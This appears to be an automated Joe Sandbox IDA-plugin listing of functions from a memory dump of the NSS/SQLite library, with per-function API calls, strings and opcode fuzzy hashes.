Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 004c41b4ef887685c5e79550ab4b6404710771180a08b53798ba8d9d5f132357
Instruction ID: d371213dc95f7f42886d4f6c5308cf116e3d339993415e1f0dcc1ed9ad6fb3e2
Opcode Fuzzy Hash: 004c41b4ef887685c5e79550ab4b6404710771180a08b53798ba8d9d5f132357
Instruction Fuzzy Hash: AB3125B29023129BE7208E588C40F9A76A8AF4634CF240939ED1897B41FB74D904C7FA

Function 6C5C7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5C7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5C7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5C7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C7F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C7ED8, 6C5C7F08, 6C5C7F19
%s at line %d of [%.10s], xrefs: 6C5C7EE7, 6C5C7F28
database corruption, xrefs: 6C5C7EE2, 6C5C7F23

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 1b031035015a2cb367e41de53834df9b29c7f996dcf8c1806909d9b1e46d5bb6
Instruction ID: 2873a22275949928097347139fc45ecba1629b0d7bf5ed6688138c42a4a7137d
Opcode Fuzzy Hash: 1b031035015a2cb367e41de53834df9b29c7f996dcf8c1806909d9b1e46d5bb6
Instruction Fuzzy Hash: 9861BD71B042059FDB05CFA9CC90BAA37B2BF85348F1448A8EC195BB52D770EC55CBA2

Function 6C5AFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5AFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5AFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AFE83

Part of subcall function 6C5AFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5AFEFA
Part of subcall function 6C5AFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5AFF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5AFD64, 6C5AFE26
%s at line %d of [%.10s], xrefs: 6C5AFD73, 6C5AFE35
database corruption, xrefs: 6C5AFD6E, 6C5AFE30

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: d05ac38ec27376922293aab01ea9faab78161b43eacddc2d77b1d46ca04fcc1b
Instruction ID: f51dd1af0e57864da03c808aa1962f136c4f45764924459c4cb7010102f4f590
Opcode Fuzzy Hash: d05ac38ec27376922293aab01ea9faab78161b43eacddc2d77b1d46ca04fcc1b
Instruction Fuzzy Hash: AB51AF71A00205CFDB04CFAACD90AAEB7B1EF48308F144169EA05AB752E731ED55CBA4

Function 6C6F2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F2FFD
sqlite3_initialize.NSS3 ref: 6C6F3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6F3032
sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C6F3073
sqlite3_free.NSS3(?), ref: 6C6F30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C6F30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C6F30BB

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: e8b8e91123b3078d5964d322ca63118514bd5264d089bbbc5998f0bd3bc81e60
Instruction ID: ee17ea112882bd4e3fd9582e277fa73bbb4410b6b61480bac78dda58f21c5e30
Opcode Fuzzy Hash: e8b8e91123b3078d5964d322ca63118514bd5264d089bbbc5998f0bd3bc81e60
Instruction Fuzzy Hash: 5E41C171600606ABDB00CF25D884A8AB7A6FF44368F148639EC2987B40E731F956CBD6

Function 6C675ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]gl), ref: 6C675F0A
TlsGetValue.KERNEL32 ref: 6C675F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C675F2F
PR_Unlock.NSS3(890008E8), ref: 6C675F55
PR_SetError.NSS3(00000000,00000000), ref: 6C675F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C675F7D

Part of subcall function 6C675220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C675F82,8B4274C0), ref: 6C675248
Part of subcall function 6C675220: EnterCriticalSection.KERNEL32(0F6C740D,?,6C675F82,8B4274C0), ref: 6C67525C
Part of subcall function 6C675220: PR_SetError.NSS3(00000000,00000000), ref: 6C67528E
Part of subcall function 6C675220: PR_Unlock.NSS3(0F6C73F1), ref: 6C675299
Part of subcall function 6C675220: free.MOZGLUE(00000000), ref: 6C6752A9

Strings

q]gl, xrefs: 6C675EDB, 6C675F09

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]gl
API String ID: 3150690610-4162549013
Opcode ID: fab19960791d8b082004ab73c853ad1217337b43eefa00e472c1d7b7a9afaa8b
Instruction ID: f120cb971f1169d6833ee650d9bd429de752dd0910b4e831741bf3081325ec92
Opcode Fuzzy Hash: fab19960791d8b082004ab73c853ad1217337b43eefa00e472c1d7b7a9afaa8b
Instruction Fuzzy Hash: B921D6B1D042089FDB109F68DC45AEEB7B4EF49308F544479E90AA7701EB31A954CBE9

Function 6C638CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C64124D,00000001), ref: 6C638D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C64124D,00000001), ref: 6C638D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638D73
PR_Unlock.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638D8C

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638DBA

Strings

KRAM, xrefs: 6C638CF9
KRAM, xrefs: 6C638D3E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: cdf22a97ebb04d1d9a8f34d66390a68e7734d0919aba797a4ecfd5d192be83ee
Instruction ID: 410fec276d5cb835b1213d6794bf474c30f0ad7bd641f4142e78fd2470936bee
Opcode Fuzzy Hash: cdf22a97ebb04d1d9a8f34d66390a68e7734d0919aba797a4ecfd5d192be83ee
Instruction Fuzzy Hash: F9218DB1A046218FCB01EF38C48469AB7F0FF49308F15A96AD89CC7715DB34E841CB95

Function 6C730ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C730EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C730EFA

Part of subcall function 6C61AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C61AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C730ED9, 6C730EE5, 6C730F06, 6C730F0B
Aborting, xrefs: 6C730EB3

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: a83c0a44072867e21ffa50be8123f45fc6335d5b024527ed666fa8fd870baa95
Instruction ID: 11d3db6a1e998f167e5b61300dcbbd3d6a1100792fbdc1f13f436da6eb0fa936
Opcode Fuzzy Hash: a83c0a44072867e21ffa50be8123f45fc6335d5b024527ed666fa8fd870baa95
Instruction Fuzzy Hash: BE01C0B6900128ABDF01AF64DE4989B3F3DEF46368B004075FD0987B12D631E91087E2

Function 6C711C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=al,?,?,6C614E1D), ref: 6C711C8A
sqlite3_free.NSS3(00000000), ref: 6C711CB6

Strings

a generated column, xrefs: 6C711C6C
non-deterministic use of %s() in %s, xrefs: 6C711C85
an index, xrefs: 6C711C67
w=al, xrefs: 6C711C44
a CHECK constraint, xrefs: 6C711C76, 6C711C81

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=al
API String ID: 1840970956-2538564091
Opcode ID: 911a054c29dfeb4adf4fbb3c684b5e98b486870cfc1343b195428c40cba5dea8
Instruction ID: 907e8cfbbc4660655b70a1ebca924529beaaf3d78dbe201b660b11b892566211
Opcode Fuzzy Hash: 911a054c29dfeb4adf4fbb3c684b5e98b486870cfc1343b195428c40cba5dea8
Instruction Fuzzy Hash: 3D0124B1A001005BD700BE68D90297273E5EFC638CB55487DEC489BB02EE22EC67C755

Function 6C6F4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F4DE0

Strings

API call with %s database connection pointer, xrefs: 6C6F4DBD
misuse, xrefs: 6C6F4DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F4DCB
%s at line %d of [%.10s], xrefs: 6C6F4DDA
invalid, xrefs: 6C6F4DB8

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 04740f80e7b4c1f8201d138ea66ea7fca633c9eb36a951b886cb0bb3c00cbf88
Instruction ID: 25aeabc8a4b8ebb6030d21e45147a00179dda7edac5796d6d1cf45a9ddcd5a42
Opcode Fuzzy Hash: 04740f80e7b4c1f8201d138ea66ea7fca633c9eb36a951b886cb0bb3c00cbf88
Instruction Fuzzy Hash: DBF05921E157286BE7004015CF21FE233DA4F01329F8709B0ED247BE53DA46BDA182E8

Function 6C6F4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F4E4D

Strings

API call with %s database connection pointer, xrefs: 6C6F4E2A
misuse, xrefs: 6C6F4E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F4E38
%s at line %d of [%.10s], xrefs: 6C6F4E47
invalid, xrefs: 6C6F4E25

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 5074e56fad6915a74fd4f2f06f5fd6c9d0f5c6d652fb9661518f6dd824eace53
Instruction ID: 630b6a8f0424df66b846e5a4210607ad2a4616c7526a85d9377b68d7da81a8d3
Opcode Fuzzy Hash: 5074e56fad6915a74fd4f2f06f5fd6c9d0f5c6d652fb9661518f6dd824eace53
Instruction Fuzzy Hash: A0F09E20F456182BE70002259F11FE3338B4741329F8A44B0EE2437E82CA49AE7302D9

Function 6C629FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C62A086
EnterCriticalSection.KERNEL32(?), ref: 6C62A09B
PR_Unlock.NSS3(?), ref: 6C62A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62A0E9
TlsGetValue.KERNEL32 ref: 6C62A11B
EnterCriticalSection.KERNEL32(?), ref: 6C62A12F
PR_Unlock.NSS3(?), ref: 6C62A148

Part of subcall function 6C641A40: PR_Now.NSS3(?,00000000,6C6228AD,00000000,?,6C63F09A,00000000,6C6228AD,6C6293B0,?,6C6293B0,6C6228AD,00000000,?,00000000), ref: 6C641A65

Part of subcall function 6C641940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C644126,?), ref: 6C641966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62A1A3

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 81339cf4987344df38da84ca72e7f2314d6d86ab2c40db0f62e7ee955309c318
Instruction ID: 61c02a3bf95f9c514cf281205c7aefc48e00a12907292840f6ed64dd993db7c2
Opcode Fuzzy Hash: 81339cf4987344df38da84ca72e7f2314d6d86ab2c40db0f62e7ee955309c318
Instruction Fuzzy Hash: D0512AB1E002059BEB109F29CC44AABB7B9EF8735CB144039DC19D7702EF75D845CAA9

Function 6C660C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?,?,00000000,?,?), ref: 6C660CB3

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?), ref: 6C660DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?), ref: 6C660DEC

Part of subcall function 6C680F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C622AF5,?,?,?,?,?,6C620A1B,00000000), ref: 6C680F1A
Part of subcall function 6C680F10: malloc.MOZGLUE(00000001), ref: 6C680F30
Part of subcall function 6C680F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C680F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C661444,?,00000001,?,00000000), ref: 6C660E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?,?,00000000), ref: 6C660E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660E79

Part of subcall function 6C671560: TlsGetValue.KERNEL32(00000000,?,6C640844,?), ref: 6C67157A
Part of subcall function 6C671560: EnterCriticalSection.KERNEL32(?,?,?,6C640844,?), ref: 6C67158F
Part of subcall function 6C671560: PR_Unlock.NSS3(?,?,?,?,6C640844,?), ref: 6C6715B2

Part of subcall function 6C63B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C641397,00000000,?,6C63CF93,5B5F5EC0,00000000,?,6C641397,?), ref: 6C63B1CB
Part of subcall function 6C63B1A0: free.MOZGLUE(5B5F5EC0,?,6C63CF93,5B5F5EC0,00000000,?,6C641397,?), ref: 6C63B1D2

Part of subcall function 6C6389E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6388AE,-00000008), ref: 6C638A04
Part of subcall function 6C6389E0: EnterCriticalSection.KERNEL32(?), ref: 6C638A15
Part of subcall function 6C6389E0: memset.VCRUNTIME140(6C6388AE,00000000,00000132), ref: 6C638A27
Part of subcall function 6C6389E0: PR_Unlock.NSS3(?), ref: 6C638A35

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 239105613357e90a6548ccbf9cbb450f130c0e8582db1b0212c6e6780e1ec228
Instruction ID: 39b7196ebf84d0f931294fb287f8cba17484f4526377c9ec8d8790d0a7a74f90
Opcode Fuzzy Hash: 239105613357e90a6548ccbf9cbb450f130c0e8582db1b0212c6e6780e1ec228
Instruction Fuzzy Hash: 7B5194B6E002106FEB019F65DC81AAB37A8AF46318F154534ED0997B12F731ED1986AF

Function 6C616E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C616ED8
sqlite3_value_text.NSS3(?,?), ref: 6C616EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C616FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C616FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C616FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C617010
sqlite3_value_blob.NSS3(?,?), ref: 6C61701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C617052

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
